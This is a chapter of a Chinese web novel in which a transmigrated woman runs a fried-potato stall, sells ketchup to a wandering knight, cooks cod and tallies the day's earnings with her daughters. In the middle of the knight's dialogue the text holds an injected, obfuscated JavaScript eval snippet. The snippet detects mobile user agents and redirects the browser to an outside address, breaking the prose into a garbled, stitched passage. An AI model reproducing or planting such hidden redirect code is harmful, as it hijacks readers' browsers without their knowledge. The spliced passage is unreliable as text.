“我赞同，我喜欢鼠尾草，薯条可以加鼠尾草吗？” 尤兰达一面手上不停，一面笑着点头，虚心接受大家的“反馈” 本地老外的口味果然更本土化一些，香料少了反而觉得不够味。 “请再给我两份，”人群里有人高高举起手，“我得带回去给我家的调皮鬼尝尝。” “我要三份，一份哪够塞牙缝。” “别挤别挤，我先来的……” 尤兰达笑的脸颊疼，短短一会儿工夫，已有二十多人下单，十以外的加法算得菲奥娜头大不已，渐渐招架不住。 约瓦尼见众人蜂拥，不知谁又撅了一下，直接把他整个人顶了出去。 他急得探着脖子喊：“嘿，伙计们，是我先下的单！拜托先做我的那份——” 尤兰达听见透着委屈的高呼，赶紧维持秩序，请那位付了1银币的大客户一旁稍待。 “十份薯饼可不少，放久了口感会差些。”她翻着油锅里的薯饼，耐心叮嘱，“客人若是一时吃不完，带回家放在陶锅上煎一煎，一定要干煎，逼出里面的水份，薯饼便和刚出锅一样酥脆了。” 尤兰达担心客人不知道怎么正确加热，弄巧成拙砸了小吃摊口碑，特意多嘱咐了几句，权当是挂上免责声明。 类似的提醒，她录制素材时总要反复强调，生怕粉丝灵机一动搞什么创新，再回头骂她配方不对。 谁知道，平平无奇的几句，像冷水泼进滚油，炸开锅一般。 “天呐，她竟然教我们该怎么让薯饼更好吃。” “善良的夫人，上帝一定会保佑你的。” “我们会照做的，夫人。” “我们也会保密的，不告诉别人。” 一道道直直投来的柔软目光里，盛着毫不作伪的感激与郑重，好像她教的是长生不老药的配方，就很夸张。 尤兰达张了张嘴，又默默闭上，决定就此打住。 再说下去，她怕这群本地老外要爱上自己，更怕嘴巴一秃噜，行会找上门。 免费传授平民烹饪技巧，会被行会以及同行当做“恶意竞争”“破坏秩序”“砸饭碗”。 万一不小心碰了行会的蛋糕，轻则警告罚款，重则驱逐出城，连辩解的机会都没有。 “知识免费”在当下可不是什么好事。最保险的做法，是把食谱和技巧当做筹码，拿去和修道院、行会、贵族做等价交易。 她摆摆手，玩笑回应：“别这么说，只是架锅生火，算不上什么技巧。” 摊子前的客人来来去去，一份份脆脆薯饼从油锅里捞出、包进叶片、递出。 待最后一份薯饼被小学徒高兴捧走，尤兰达抬头望了望天，竟然比预估的收摊时间提前了将近两个小时。 而此时，仍有不少食客循着空气中未散的油香寻来，探头张望。 尤兰达笑吟吟招呼大家明日赶早。 “嘿，夫人。”又有人唤她。 尤兰达习惯性地重复“收摊了”，一抬头，发现是隔壁摊位卖煮豆子的老头。 他站在两块摊位的交界线，一会挠挠头，一会搓搓胡子拉碴的下巴，腼腆询问。 “我是想问问……”他干咳一声，“明天你还会在这儿摆摊吗？” “会的，还在工匠街。至于位置……”尤兰达耸耸肩，递去一个“你懂的”眼神。 “当然当然，这儿可没有固定位置，谁先到谁占。”老头大约极少主动与人搭话，挤出的笑容干巴又僵硬，像是临时找人借来的，“我想说……你的薯条和薯饼，真不错。 它们招来了很多人，也给我的摊子添了不少人气，真希望明天还能和你挨着。” 尤兰达听明白了，老头想蹭客流呢。 “今天和你做邻居很愉快，”她客气回应，语气温和却并未给出任何保证，“希望明天我们还能遇上。” 老头点点头，不好意思地指了指她正收拾的油锅：“其实我也想尝尝来着。可你知道，我这头只有一双手，忙起来连口水都顾不上喝……”他顿了顿，“明天，明天应该有机会。” 尤兰达弯了弯眼睛：“欢迎。它们会让你满意的。” 彼此干巴巴地笑了两声，笨拙尴尬的社交总算画上了句号。 尤兰达转过身，被算数攻击一下午的菲奥娜，电量耗尽，两眼放空瘫坐。 她失笑，快速将锅碗瓢盆收整好，趁着时间早，去修道院街找西芙拉，一起回家。 正想着她呢，没一会儿，西芙拉的身影就左闪右避挤过人群奔来，挎在她胳膊上的藤篮沉甸甸。 “妈妈，修道院的队伍也太长了，我从没等过那么久……”西芙拉边走边抱怨，脸上全是排队排出来的怨气。 走近摊子前，西芙拉的声音戛然而止。 她愣愣地望着自家无人问津的摊子，扭头望了望隔壁煮豆子摊前依旧排着的长队，脸色肉眼可见地沉了下去。 “这些人……”西芙拉咬着嘴唇，俏脸忿忿不平，“都没有品味的吗？妈妈的薯条那么好吃。” 她转向尤兰达，刻意压低的嗓音依旧愤慨：“妈妈，你别难过。是他们不懂得欣赏。” 尤兰达一听就知道她误会了，想告诉她“其实我们提前卖完收摊了”—— “夫人！等等！请等一下。” 披着深色斗篷的身影从街角疾步奔来，气喘吁吁停在摊前，一把扶住车沿。 尤兰达记得他，出手阔绰的游侠骑士，一银币先生。 “幸好赶上了……你好，夫人，我要那种红色的番茄酱，还有吗？我愿意付钱。” 尤兰达愣了愣，怎么也没想到，这人是来买酱汁的。 卖番茄酱是她后期的打算，这会卖也不是不行，可她没来得及算成本。 尤兰达神色微顿，露出几分为难。 “先生明天再来吧，我们准备……” “只要酱汁，不要薯饼！”约瓦尼急切打断她，恳求道：“好心的夫人请帮帮我吧，多少钱都可以，一罐、不，半罐也行！” 他说着，低头又摸出一枚银币，拍在车沿，同时递来银链系着的带锁扣锡壶。 “两银币够吗？装满这一壶就好。 我知道这很冒昧，但、但我真的……太需要它了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200992|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 尤兰达瞧了瞧巴掌长的壶身，满打满算能装300ml，换来的却是两枚银币！ 这还有什么好算的，亏不了一点。 尤兰达笑容灿烂：“好的客人，乐意为您效劳，欢迎下次光临。” 她唰一下抢过银币和锡壶，一勺勺酱汁灌进去。 西芙拉半张着嘴巴，有点看不懂眼前的状况。 菲欧娜听不得“付钱”几个字，早捂着耳朵背过身，装死。 约瓦尼接过沉甸甸的锡壶，长长舒出一口气。 总算……没有错过。 他取完长剑就去了附近的旅馆用餐，顺路采购面包，为接下来的行程做准备。 刚出炉的白面包与黑麦面包码在案上，热烘烘的麦香扑鼻而来。 待到真正入口，香气便像不曾出现过，表皮焦苦，内里寡淡，嚼久了腮帮子酸疼。 约瓦尼包起带走的部分，剩下两块切片面包配着稀薄的蔬菜糊糊吃。 吃过无数次的食物，毫无惊喜可言，也不指望它能带来什么变化，但除了过于熟悉产生的腻烦感，心头罕见萦绕着难以言喻的不满足。 缺了点什么。 约瓦尼没来由想起葡萄叶上的红色酱汁，遂打开锡碗。 他掰下一块面包，蘸着酱汁送入口中，嚼吧嚼吧，不抱什么期望的他，眼睛骤然放光。 面包还是那块面包，一如既往的粗糙硌牙，酸酸甜甜、咸鲜交织的番茄酱裹上舌尖，死气沉沉的面包仿佛注入了灵魂，一切都变得新奇。 约瓦尼不信邪，又掰了一块面包，又蘸了一坨酱汁。 这次，他百分百确信，是酱汁的功劳。 约瓦尼望着锡碗里浅浅一层的番茄酱，神色复杂。 如果没有尝过更好的，他可以心安理得地接受面包的无趣，但偏偏他尝到了。 番茄酱的出现为他绝望的味蕾打开了一扇门，迈出去的他再也回不去了。 没有番茄酱，接下来的路途，他该怎么熬？ 约瓦尼不想亏待自己的嘴巴，只沉吟片刻，匆匆收拾一番，牵马转身，折回工匠街。 他需要更多的番茄酱，多贵都愿意买。 幸好，他赶上了。 “多谢您，夫人。”约瓦尼将锡壶仔细收进鞍袋，翻身上马，“愿您的好生意长长久久。” 马蹄哒哒远去。 西芙拉目光追随着飘远，许久之后，她回神转头，如梦似幻。 “妈妈……刚才……我们……赚了两枚银币？” 尤兰达：“不，是三枚。” 赚300枚铜币不难，赚三枚银币可就不简单了。 “不对，不止三枚。” 菲奥娜幽幽插话，一脸生无可恋地站出来，怨气比周末加班的社畜都浓。 她提起鼓囊囊的羊皮包，往前一甩，“咚”一声砸在推车上。 西芙拉愣愣凑近，往羊皮包里一瞄—— “这、这都是今天的？” 上帝啊，小吃摊能赚这么多？ “当然没有这么少。” 菲欧娜抱起广口陶罐，“Duang”一下放在羊皮包旁边，震得罐子里的铜币哗啦啦响。 没见过世面的西芙拉发出“哇”的一声，见过世面的尤兰达也不淡定了。 17.第 17 章 习惯无现金支付后，尤兰达想不起来上次摸到大量钱币是哪年的事了。 猛地这么一瞧，确实很有视觉冲击力。 黑森王国的货币并不精巧，一枚铜币直径约40mm，厚度约3mm,像个厚圆牌。 别看大家叫它铜币，实际材质是银铜合金，比起纯铜钱币略重些。 这一罐子外加一包的铜币，抱在手里沉甸甸的没错，实际数额却没那么多。 尤兰达瞬间恢复淡定。 亲手递出去多少份薯条、薯饼，心里大致有数，可赚不到金山银山。 不过即便如此，这一堆铜币也称得上巨额现金了。 “明天该轮到西芙拉收钱了。”菲奥娜面无表情地捶着胳膊，语气充满了被榨干后的平静。 天知道她这一下午都经历了什么。 收钱的时候，菲奥娜每一根神经都绷得死紧，完全体会不到妈妈所说的“赚钱的快乐”。 总有几个算数不好的家伙少给铜币，一会儿少一枚，一会儿少两枚，稍不注意就糊弄过去。 菲奥娜自己的算数也没好到哪去，一份一份算勉强能应付，一次性买三份五份的，脑仁疼半天。 收钱的活简直不是人干的，她得撂挑子。 尤兰达想到老外们的数学水平，沉默了，确实强人所难。 “妈妈知道错了，明天摆摊的时候，我会把价格和份数报清楚，你们照着数钱就好。” 菲奥娜格外好哄，听到妈妈认错，怨气已经散了大半。 她别别扭扭说：“噢~我可没有怪你的意思。快点快点，我们回家吧，我太想知道今天到底赚了多少！” 生意不好的摊主尚且能抽出空来数数钱，算算今天亏了赚了、还差多少能回本，菲奥娜完全没那个时间。 菲奥娜固定好钱罐子，西芙拉把藤篮堆上车板，两人帮着扶住车沿，一起收摊回家。 路过小广场，尤兰达支付了星期六的摊位费，明天多做点，赶早出摊还能赚更多。 第九时祷（15:00）后，正是一天中最热闹的时间段。 下工的工匠、兜售的小贩、采买晚餐食材的主妇……潮水般涌上街头。 为了应对周五的斋戒日，人人手里都提着滴水的鲜鱼、满满一桶的猪血、风干的咸鱼，或是酸溜溜的腌菜。 混杂着鱼腥、汗酸和说不清的体味的空气，像一床厚重的湿被子，劈头盖脸地裹上来。 两个女孩不见异色，尤兰达快熬不住了。 摆摊时，排队的食客们身上就有各种体味，随着他们伸手递钱、抬胳膊接东西，忽浓忽淡的往她鼻子里钻。 好在面前有口油锅，油脂的焦香多少能挡一挡，勉强压住翻涌的胃。 此刻被人群裹挟着往前走，无处可逃。 她憋着一口气，闷头加快了脚步。 拐进贝壳街，人流量锐减，空气也清新了些许。 尤兰达呼呼喘气，缓过劲发现，贝壳街处处洋溢着过年一样的欢快气氛。 沿着街道望去，家家户户门口站着人，笑容满面的和相熟邻里唠嗑。 再定睛一看，他们手里除了各自采买的食材不同，人手一捆木柴和一条咸鱼，从绳结的样式和捆绑手法来看，无疑是从同一处购入。 修道院还有卖木柴的？ 尤兰达没往心里去，推着车继续往前走。 快到巷子口，她忽然想起两件事：家里的葡萄藤经不住薅了，得多买点叶子为明天出摊准备。木柴好像也不够烧了。 她叫住两个女儿，数出一把铜币塞进她们手里。 “小菲，你去卖叶子的摊子问问，买些葡萄叶或车前草回来。小西，你去柴火铺，买两捆松木两捆秸秆，让杂役送上门。” 两孩子接过铜币，手拉手笑哈哈跑出去，没跑多远赶紧停下，回过头不放心的说：“妈妈，你一定要等我们回来再数钱，好不好？” 尤兰达哭笑不得，连声答应，女孩们跑远，她重新推起车子往矮人巷走。 没到巷子口呢，她便远远听见妇人们大嗓门的叽叽喳喳，称颂什么巴顿老爷大方。 等她走近，说话声戛然而止，和谐欢乐气氛陡然消失。 夫人们互相交换眼色，一哄而散。 有的低头整理篮子里本就不乱的布料，有的侧过身假装和旁边人说话，还有几个干脆扭头走人。 好吧，她好像被排挤了。 尤兰达脚步未停，神色如常地推车往里走。 身后，窸窸窣窣的议论声飘过来，像是故意让她听见似的： “看见没？真的去摆摊了。” “这么早就收摊，肯定生意不好呗。” “她太懒惰了，才刚过第九时祷呢。” “没见过这样做生意的，要我看，这间铺子迟早赔出去。” “哈，活该。” 尤兰达听着，心里毫无波澜，甚至有点想笑。 新邻居们挺有正义感，还在替原身的前夫、继女抱不平呢。 “费尔南多夫人，请等等。” 正想着，不远处传来一声温和的招呼。 尤兰达循声望去，人群里走出一个身形魁梧的大叔，约莫四十岁上下。 他穿着一身体面的灰褐色亚麻衣袍，腰间挂着一只锡壶和一把木勺。 待他走近，看到他额角显眼的痦子，尤兰达想起这人是谁了——矮人巷的户长，沃格特先生。 户长，就是一条巷子的头头，处理邻里纠纷或颁布、解读政令。往上有街长，负责带领各巷的户长一起管理整条街，是街道的老大。 他们的存在类似于村长、里正、居委会。 原身持有矮人巷的房产，出租也好，变卖也罢，都绕不开户长，以前没少打交道。 如果尤兰达不是酒馆的所有者，在她搬进矮人巷的第一天，就该主动去找户长登记，办理一个相当于“临时居住证”的证明，方便户长街长管理、收税等。 “沃格特先生。”尤兰达停下脚步，微微颔首致意。 “听说你要搬来矮人巷，自己经营店铺了？”沃格特微笑着与她交谈，像是从没听过邻里的闲言碎语。 “是的，沃格特先生，您的消息一如既往的灵通。我需要补什么东西吗？” 沃格特压了压手，示意她别紧张，“放轻松孩子，没什么要补的。我只是来通知大家，星期天轮到矮人巷的居民去山上捡柴了，北1店至少派一个人参与。” 尤兰达一听是这事，果然放轻松了，她真担心冒出来什么莫名其妙的税收。 皇城居民除了花钱买木柴，平时只有出人头，参与社区组织的上山拾柴火活动，可以节省一些开支。 就像春耕时两个村子为抢水源大打出手，在这里，两个街区为抢木柴打群架的情况并不稀奇。 这可不是开玩笑，柴的重要性有时候比食物还高。 尤其进入冬季，人口密集的皇城难逃用柴紧张的状况，别说枯枝落叶了，当地人看见路边小草都想着薅回家晒干烧火。 甚至于有人专门蹲在街上，捡过路牛马拉的粪便，晒干了当柴火使。 温饱温饱，有柴才有温，先温才能顾上饱，柴米油盐，老祖宗把柴排在第一位，可见一斑。 基于柴的重要程度和大家的需求，捡柴火时难免发生争抢和冲突，市议厅按照就近原则划分区域，搞起轮流制。 贝壳街大小一共二十八条巷子，平均下来，大概一个半月一次上山机会，大家格外珍惜和重视。 这周末，恰好轮到矮人巷。 捡柴的山林不远，巷子走到底就是，步行最多40分钟。 难怪海伦夫人舍得让小红帽跑腿，给住在山里的外婆送食物，原来是真不远啊。 “当然，我们会去的，冬季漫长严寒，提前准备不会错。” “星期天第三时祷，去巷子尾集合，大家一起上山。”尤兰达应的爽快，沃格特却不放心，多嘱咐几句：“家里有板车的可以推上，有马车、牛车就更好了，从海螺巷绕过去，能省不少麻烦。” 山林外围早让人薅光，又有护林员看管，不准许随意砍伐活木，大家只能往森林深处钻。距离拉远了，如何运输木柴就成了大难题。 尤兰达认真记下。 “哦~瞧我的脑子，除了这件事……”沃格特交待事项，余光瞥见巷子深处推车走来的一伙人，一拍脑门：“巴顿老爷的小孙子被骑士学院选中，以后会成为一名真正的骑士。 你知道的，这是天大的荣耀，巴顿老爷要大宴宾客。不过今天是斋戒日，所以……” 尤兰达正在品味他的“所以”，沃格特越过她朝身后挥了挥手。 “嘿，伙计们，北1店的费尔南多夫人回来了，希望你们没忘了她。” 呼喊声落下，远处的热络回应随之响起，“哦，真是太巧了，我们正准备离开。” 说着，推车的伙计停下，旁边跟随的青年从车上提下一捆木柴，又提溜起一条咸鱼。 他们往这边张望了一眼，见尤兰达也推着满满的小车，调转脚步走向北1店的院门。 “费尔南多夫人，”青年回头问了一声，“东西放门边可以吗？” 尤兰达停顿了两秒，终于领会了户长的未尽之意。 木柴和咸鱼，来自贝壳街的巴顿老爷，是巴顿家为斋戒日破戒准备的“赎罪”。 巴顿老爷，贝壳街的大富豪，同时担任贝壳街的街长，是一位德高望重的老绅士。 按照当地习俗，斋戒日不许食荤、不许宴饮，如果不得不破规矩，主家需赎罪。 赎罪方式很简单，要么向教会捐赠一大笔金钱，要么向平民分发物资、钱财，自由选择。 做生意的人最在乎现金流，发钱是不可能发的，于是便有了今天这一出，一捆捆木柴、一条条咸鱼，送往贝壳街的每一户人家。 赎罪物资分发下去，等同于昭告贝壳街：巴顿家，出了个可以改变家族命运的骑士。 阶级分明的时代，骑士学院的门槛高得吓人，非贵族子弟不可入读。 一旦成为预备骑士，日后跟随领主、皇室成员征战，有大概率获封土地、爵位，再不济也能免除赋税。 对一心想要抬高家族地位的巴顿老爷而言，无异于久旱逢甘霖。 至于他用了什么手段、走了什么门路才把小孙子送进去，大家心照不宣的忽视了。 “奥——”尤兰达拖长音调，笑容发自肺腑：“仁慈的巴顿老爷，上帝会宽恕他的。也恭喜小巴顿先生，能去骑士学院读书真是前途无量，他会成为贝壳街的骄傲。” 这样的“赎罪”多来点吧，谁不喜欢免费东西呢。 你来我往笑言一番，目送沃格特和巴顿家的伙计们一同离开，尤兰达锁上院门，归置东西。 她答应要等女孩们一起数钱，便先料理那两条鳕鱼。 原身十指不沾阳春水，力气活更是没做过，前几天忙着搬家、打扫卫生，没歇够又忙着做生意，可把这具身体累坏了。 正好赶上斋戒日，大家吃的简单，尤兰达不想弄太复杂的折腾自己，早早决定晚饭吃香煎鳕鱼。 一条足够母女三人吃一顿饱饭，另一条她藏进空间存放。 趁两人没回来，她大胆使用“私货”，抽出厨房纸擦去鱼块表面水份。 这一步很重要，直接决定成败。水分多了鱼肉不紧实，松散易碎，煎出来的颜色也不好看，达不到外酥里嫩的效果。 去除多余水份后，鱼块撒上薄盐、橄榄油，捻两搓迷迭香，做几次马杀鸡，让香料深入肌理。 腌制的间隙，尤兰达搬来泥炉，从棚顶捡两块蜂窝煤。 天气晴好，微风干燥，煤球干得比预想的快，点燃后烟说大不大，说小不小，火势相当稳定，比木柴好掌控。 挺好，第一次手搓蜂窝煤就成功了。 锅热，放入黄油，待融化冒出细密小泡，放入葱姜蒜和几根迷迭香百里香，炸出香气再下鳕鱼块。 正是定型的关键时刻，可别急着翻动，耐心等待鱼皮蜷曲，边缘泛起金黄，再缓缓推动木铲，翻面。 鱼块切得厚实，两面全部煎熟花去十分钟。装盘后，撒点欧芹碎点缀，甩几道酱汁上去，有几分米其林的味。 第二、三块鳕鱼下锅，西芙拉和菲欧娜前后脚赶回来，身后跟着送木柴的杂役，小院一下子闹腾开。 西芙拉监督杂役堆放木柴，时不时指点一两句“往那边靠”“别挨着墙”。 菲奥娜直奔厨房，献宝似的举起一叠叠葡萄叶，眼睛一个劲地往锅里瞄。 “妈妈，今天又吃鳕鱼吗？” “小菲真棒，买的葡萄叶又大又绿。”表扬完孩子，她嗯了一声，“今晚吃香煎鳕鱼。” 菲欧娜习惯了老母亲时不时冒出来一些奇奇怪怪的说法，什么香煎、炒、烙，但依旧感到新奇。 以前斋戒日吃的鳕鱼，要么烤、要么煮，没有调味，没有油脂，干巴巴的，腥气特别重。 可眼前的鳕鱼完全不一样。 完整的造型，金黄的色泽，盘边摆了迷迭香，番茄酱画出好看的条形，漂亮得让人挪不开眼。 西芙拉安顿好木柴，刚踏进门怔 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对西芙拉、菲奥娜两个土著来说，鳕鱼和面包的搭配一如既往，并无稀奇。 真正让这顿晚饭与众不同的，是关于鳕鱼的独特做法。 因这一点点独特，令人叫苦不迭的斋戒日，似乎都变得值得期待了。 夕阳彻底转为橘红色时，家家户户升起炊烟，母女三人终于在餐桌边落座。 照例祷告，然后大快朵颐。 “妈（嚼嚼嚼），你做的鳕鱼是我吃过最好吃的鳕鱼（嚼嚼嚼）。” 菲奥娜又吃美了，脸颊鼓鼓囊囊，话都说不利索，非要抢着发表感言。 实在是香煎鳕鱼的味道远超它的卖相，也远超她对鳕鱼的认识。 鱼皮够酥，鱼肉够嫩，刀叉一拨，雪白肌理层层绽开，汁水微微渗出。 越吃，她越想不通，家里的厨娘到底用了什么巫术，才能让这么美味的鳕鱼做出难以下咽的口感。 西芙拉惦记着数钱，本想加快进食速度，叉子刚戳进鱼肉，就被白嫩的模样勾住了目光。 真漂亮啊，怎么会有看着就好吃的鳕鱼呢？ 尤兰达也小小惊讶了一会。 好新鲜的鳕鱼，肉质紧实弹牙，和她从冻货市场批发的食材，完全不在一个档次。 夕阳的余晖收尽，暮色笼罩小院。 母女三人风卷残云般扫光了盘中的鳕鱼和面包，连盘子底部的酱汁都用面包片擦得干干净净。 总要磨蹭一会儿的洗碗环节，今天被默契地抛在了脑后。 “快快快——” 菲奥娜第一个跳起来，清空桌面。 “到底赚了多少啊，它们可真重。” 西芙拉逞强，拒绝尤兰达的帮助，一手抱钱罐子，一手托住羊皮包，挨到桌边时，额角已经崩出青筋。 钱罐子与羊皮包并排砸上桌面，整张桌子猛地一震，连带着烛火都跟着晃了晃。 菲奥娜数了一下午的钱，看到铜币有点生理性反胃，退到墙边的扶手椅坐下，一副“你们数吧，我看着就好”的模样。 西芙拉迫不及待地伸出手，搭在了钱罐的边缘，跃跃欲试。 尤兰达望了望两人，吞下了称重数钱的提议，也没告诉她们家里有数钱专用的分拣盘。 “十个铜币为一组，一排只放十组。数清楚，别漏了。”尤兰达宣布。 话音落下，起居室里只剩铜币“哗啦啦”的碰撞，和西芙拉抑扬顿挫的计数。 “1、2、3……” 菲奥娜远远坐着，信誓旦旦地说“我就看看”。 看着看着，她的眉头皱了起来，嘴唇翕动，无声地跟着西芙拉的节奏数。 直到某一刻，她终于忍不住了，“噌”地起身，撸起袖子凑了过去。 “你数太慢了，我来帮你摆！” “我不用帮——你别抢我的铜币！” 两人闹了一会，才重新开始分拣计数。 烛火摇曳，映着两个女孩专注又兴奋的侧脸，和桌上排到第四排的铜币堆。 数钱数上瘾，肾上腺素飙升，小约翰来清粪，菲奥娜都不想去开门，西芙拉催了她几声才不舍离开。 等菲奥娜再回来，羊皮包软塌塌丢在椅子上，广口钱罐里空荡荡。 “数完了？今天赚了多少？”她急忙追问。 西芙拉烦躁摆手，“别说话，正在算呢，你吵到我——” “不用算了，1015，”尤兰达报出数字，两人抬头看来时，她补充：“铜币。” 加上三枚银币，按照当下的记账方式，今天营业额为13银15铜。 和她估算的差不太多。 西芙拉和菲奥娜齐齐倒吸气。 13银币15铜币……一天赚到的？ 惊愕过后，两人狂喜，随后震惊，“妈妈，你是怎么算出来的？” 她们抠破了脑袋，也没把那堆铜币算清楚，没等想出办法，尤兰达直接报答案，太快了！ 对上女孩们的星星眼，尤兰达让她们稍安勿躁，抽出莎草纸。 算完营业额，该算算成本和利润了，做完一天生意，总该知道是赚是亏，赚多少亏多少。 “去掉摊位费，以及土豆、番茄、小麦粉、芥末、猪油、木柴等等的市价费用，四舍五入按照390铜币的成本算，今天的净利润是……925铜币！” 酱汁并非一天用完，猪油并非只用一次，木柴和小麦粉的用量无法更精准，土豆、香草自家的，市场价偶有浮动。所有不确定的消耗，尤兰达全部取整数往多了算。 尽管如此，利润率也超60%，实属暴利。 再细算，对比薯条和薯饼的成本和毛利，虽然薯条单价更低，却是毛利更高、更赚钱。 这一点，也和尤兰达的预估差不太多。 要不人家金拱门能成为快餐巨头呢，薯条大有可赚。 第一天营业，尤兰达选择谨慎行事，生意却出乎意料的火爆，甩开同行们一大截。 参考今天的摆摊经验，第二天多备些薯条，换个大锅提前初炸，加快出餐速度，卖出的份量也会更多。 尤兰达念叨着如何改善，西芙拉和菲奥娜面面相觑，眼冒金星。 不是赚到钱就好了吗？ 什么毛利、什么成本、什么效率，好难啊，听不懂。 “……是很赚的意思？”她们问。 尤兰达重重点头，“很赚。” 第一天出摊，大获全胜！